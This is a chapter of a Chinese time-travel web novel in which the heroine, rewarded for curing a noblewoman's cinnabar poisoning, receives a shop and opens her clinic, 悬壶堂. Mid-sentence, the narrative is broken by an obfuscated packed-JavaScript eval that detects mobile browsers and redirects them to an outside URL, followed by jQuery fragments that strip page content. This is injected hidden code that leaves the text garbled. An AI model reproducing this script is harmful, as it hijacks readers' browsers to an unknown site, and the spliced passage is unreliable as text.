19. 晓青终于有自己的铺子了
作品:《穿成东施,在春秋和西施当闺蜜》 那日去看过的女子,现今已经大好。
那女子醒来后的第三日,施晓青接到了陆管事派人送来的帖子。
帖子是写在绢帛上的,字迹工整,措辞客气,大意是“夫人身体已大安,欲当面致谢,请施姑娘择日过府一叙”。落款处没有写名字,只画了一朵小小的兰花。
施晓青把帖子看了两遍,收进怀里。
那天在厢房里,那个女子脸色灰白、呼吸急促、皮肤溃烂。那样的症状,在现代急诊室里也是要抢救的。
她凭着一点模糊的记忆和几分运气,把人从鬼门关拉了回来。
她知道那是运气。
可别人不知道。
在别人眼里,她就是“会治病”的施姑娘。
这是一个机会。
她没有拒绝。
第二日一早,施晓青换了身干净的衣裳,把头发重新梳过,提着药箱,跟着陆管事派来的马车进了内城。
马车没有停在城西的陆府,而是直接驶向了城东。
穿过那道朱红大门,绕过上回来过的厢房,马车在一处更幽静的院落前停下。
院子不大,但布置精致,角落里种着几株兰花,花圃边立着一块玲珑的太湖石。院中有一个小小的池塘,池水清澈,几尾锦鲤悠闲地游动。
那女子已经能起身了。
她坐在廊下的美人靠上,披着一件月白色的披风,脸上还带着几分病后的苍白,但气色比三日前好了许多。
她的眉眼生得端庄温婉,笑起来嘴角微微上扬,有一种让人不自觉想要亲近的和善。
“施姑娘,来了。”她站起来,微微欠身。
“夫人客气了。”施晓青还礼,目光飞快地扫过周围。
两个丫鬟站在不远处,一个嬷嬷守在廊下,院门外隐约可见佩刀的侍卫。
身份不低。
那女子似乎看出了她的打量,笑了笑,拉着她的手让她在身边坐下:“别怕,那些人都是伺候我的。施姑娘救了我的命,我还没好好谢你呢。”
“夫人言重了,民女只是略尽绵力。”
“略尽绵力?”那女子看着她,目光里带着几分审视,更多的却是好奇,“施姑娘,你这医术,可是让好几个郎中都束手无策。你那日说我是‘朱砂中毒’,我让人查了那些美容丸子,果然掺了不少朱砂。大夫们都说,若不是你及时催吐解毒,再过半日,怕是神仙也救不回来了。”
施晓青垂下眼,没有接话。
“所以,”那女子握住她的手,“这个恩,我一定要还。施姑娘,你想要什么?银子?绢帛?还是……别的东西?”
施晓青抬起头,迎上那女子的目光。
她在来的路上就想好了。
“夫人,”她开口,声音平稳,“民女确实有一个不情之请。”
“说。”
“民女在城南,帮一位长辈看杂货铺,顺带给人看病。但铺子是别人的,地方太小,草药也没处放。民女想……自己开一间小小的药铺,专门给城南那些看不起病的穷苦人看诊。不需要多大,也不需要多气派,只要能遮风挡雨、放得下药柜就行。”
那女子听完,微微一愣。
“就这个?”
“就这个。”
那女子看着她,目光里的审视渐渐化开,变成一种复杂的、带着几分怜惜的神情。
“你呀,”她叹了口气,“别人若是救了我的命,怕是恨不得搬一座金山回去。你倒好,只要一间小药铺。”
施晓青笑了笑:“民女不需要金山。金山太重,搬不动。”
那女子被她逗笑了,笑完之后,认真地点了点头:“好,我答应你。城南那边,我记得有一间空着的铺面,临街的,位置不算偏。我让人收拾出来,给你做药铺。”
“多谢夫人。”施晓青站起来,郑重地行了一礼。
“别急着谢。”那女子拉住她,从手腕上褪下一只玉镯,塞到她手里,“这个你先收着。不算赏赐,是……谢礼。你若是不收,我心里过意不去。”
玉镯温润,雕工精细,一看就不是凡物。施晓青犹豫了一下,收下了。
“夫人,民女还有一件事想问。”
“问。”
“夫人所说的那间铺面……是需要民女自己去办地契文书,还是……”
那女子愣了一下,随即笑了:“你这孩子,倒是仔细。放心,铺子是我私人的产业,我让人把房契转给你就是了。地契文书的事,你不用担心,会有人替你办妥。”
施晓青心里松了一口气。
她原本还担心,春秋时期没有完善的地契制度,送铺子这种事只是口头应允,没有法律效力。
这位夫人既然能直接说“把房契转给你”,说明她名下有合法的产业,也有能力办理过户手续。
这就够了。
施晓青从内城出来时,日头已经偏西。
马车驶过内城的街道,穿过城门,回到城南。她掀开车帘,看着车窗外熙熙攘攘的人群,嘴角不自觉地弯了起来。
一间药铺。
她要有自己的药铺了。
和刚来的时候有一个小角落不一样,这是真正属于自己的、可以光明正大地挂招牌的地方。
更重要的是——
有了自己的铺子,就有了固定的场所,有了稳定的客源,有了更多的信息来源。她可以名正言顺地接触城南的三教九流,可以更自然地打听内城的情况,可以为夷光编织一张更密、更牢的网。
马车在城南停下,施晓青跳下车,快步走进李记杂货铺。
“李叔!”她的声音里带着少见的雀跃,“我有个好消息要告诉你!”
老李正在打算盘,闻言抬起头,看见她脸上的笑容,自己也笑了:“什么好消息,把你高兴成这样?”
“我要开药铺了!”施晓青把药箱放在柜台上,“有贵人送了我一间铺面,就在城南,临街的。以后我就可以专门给人看病了,不用挤在您这儿了。”
老李愣了一下,随即放下算盘,站起来,脸上的笑容更深了:“真的?那敢情好!我就说嘛,你这姑娘,不该窝在我这小铺子里。”
“李叔,我走了之后,您这儿要是有人来找我看病,您帮我指个路就行。”
“那还用说!”老李拍拍胸脯,“你放心,你这药铺开起来,我第一个去捧场!”
施晓青笑着谢过老李,转身进了后院。
关上厢房的门,她从怀里摸出那只玉镯,对着窗口的光看了看。玉质通透,内部几乎没有杂质,在光线下泛着柔和的光泽。
这不是普通的玉。
也是某种身份的象征。
她把玉镯小心地收进包袱里,又从床底下摸出那叠桑树皮,在最新的一页上写下:
“某月某日,救王宫女子(身份不详,疑为贵人),赠城南临街铺面一间。将开药铺,暂拟名为‘悬壶堂’。”
她那里有“悬壶济世”这个词。
说的是古代行医的人,在药铺门口挂一个葫芦作为标志,寓意“悬壶以济世”。
不知道这个时代有没有这个说法。
但她来会稽有一段时间了,没见着有店铺用这个名字,那她就用了吧。
她要在城南,挂起第一个葫芦。
让所有人都知道,这里有一个会治病的施姑娘,不问身份,不看银子,只救人。
这样就有人来找她,卖菜的、赶车的、跑腿的、帮佣的……
她才能从他们嘴里,听到最真实、最细微、最不起眼却最有用的信息。
铺面的交接比施晓青预想的顺利得多。
五日后,一个穿着体面的中年人找到了李记杂货铺,自称是“夫人身边的管事”,带来了房契和一应文书。
“施姑娘,这是城南柳巷七号的铺面,临街,前后两进,后面带一个小院。房契已经转到您名下了,这是官府的认证,您收好。”中年人把一叠文书递给她。
施晓青接过,看了一眼。文书上盖着红色的官印,笔迹工整,条款清晰。
“多谢。”
“夫人说了,铺子里的家具、药柜、柜台,都已经让人去置办了。姑娘若还有什么需要,尽管开口。”
“已经很好了。”施晓青说,“请替我多谢夫人,改日我亲自去道谢。”
中年人走后,施晓青拿着那叠文书,坐在铺子里,看了很久。
房契。
在这个时代,这叫“红契”,是经官府认证、受法律保护的土地权属证明。
她,施晓青
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486894|202064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一个从苎萝村来的、十五岁的村女,在会稽城,有了一间属于自己的铺子。
这不是梦。
她捏了捏自己的胳膊,疼的。
是真的。
她站起来,深吸一口气,走出杂货铺,按照那中年人说的地址,去找那间铺面。
城南柳巷,离老李的杂货铺不远,走路不到一刻钟。
巷子不算宽,但干净整洁,两边是各种小铺面——卖面的、卖布的、打铁的、修鞋的。人来人往,烟火气十足。
七号铺面在巷子的中段,位置确实不错。
施晓青站在门口,看着这间即将属于自己的铺子。
门面不大,但比老李的杂货铺宽了一倍有余。门前有两级石阶,门槛是木头的,已经有些旧了,但很结实。门板是新的,显然是刚换过的,木头的颜色还浅着,散发着淡淡的松木香。
她推开门,走进去。
铺子里面很宽敞,分前后两进。前面是铺面,靠墙已经打好了药柜,整面墙的抽屉,分门别类,每个抽屉外面都贴了空白的小木牌,等着她写上药名。中间是一张长柜台,柜台上放着算盘、戥子、药臼、药杵。
后面是一间小小的诊室,放着一张桌子和两把椅子。诊室后面连着一个小院,院子里有一口水井,墙角种着一棵枇杷树,树荫刚好遮住半个院子。再往后是一间小小的厢房,可以住人。
施晓青在铺子里转了一圈,手摸着那些新打的药柜、光滑的柜台、干净的地面,眼眶忽然有些热。
她想起苎萝村那个小小的后院,那些晾在屋檐下的草药,那些用桑树皮记下的歪歪扭扭的字。
夷光蹲在她身边,认真地看那些叶子,问“这个叫什么”“那个做什么用”。
她们在月光下并肩坐着,说那些不能说给别人听的话。
那时她以为,她一辈子都会在那个小村子里,守着一小片药圃,等一个人的消息。
可现在,她在会稽城。
有了一间自己的药铺。
离夷光,只有几道墙的距离。
她吸了吸鼻子,从怀里掏出那根麻绳带子,在手里攥了攥。
然后她转身,锁上门,回到老李的杂货铺,找来一块木板和一支炭笔,坐在铺子门口,开始写字。
“悬壶堂”三个字,她写了一遍又一遍。
她想让这三个字好看一些。
这是她的招牌。
这是她在会稽城的门面。
这也是……为了夷光……
最后,她选了一张写的最工整的,贴在木板上,挂在铺子门口。
“悬壶堂”。
三个字,歪歪扭扭的,谈不上好看,但清清楚楚。
路过的人看了一眼,有人念出声来:“悬壶堂?这是什么?”
“是个药铺。”施晓青站在门口,笑着说,“专门给城南的街坊看病的。小病小痛,都可以来找我。”
“真的?贵吗?”
“不富裕的,不收钱。宽裕的,随意给。”
那人看了她一眼,半信半疑地走了。
施晓青不在乎。
她知道,名声是一点一点攒出来的。
就像她的网,是一扣一扣织出来的。
不急,她有耐心,有的是时间。
当天晚上,施晓青没有回老李的杂货铺。
她住在了悬壶堂后面的小厢房里。
床是新的,被褥是新的,枕头也是新的。一切都干干净净,带着新木头和棉布的气味。
她躺在黑暗中,睁着眼,看着头顶陌生的房梁。
一切像梦一样……
她把那根麻绳带子从怀里拿出来,放在枕头旁边。
月光从窗缝里漏进来,细细的一缕,刚好照在带子上。那些密密麻麻的绳扣,在月光下泛着柔和的光。
夷光,你知道吗?
我有自己的药铺了。
在城南,叫悬壶堂。
以后,我会在这里给人看病,会在这里听人说话,会在这里等你。
你什么时候,才能从内城出来?
你什么时候,才能走到这条巷子里,推开这扇门?
她闭上眼,风从窗缝里钻进来,吹动枕边的带子,发出叹息一样的声响。

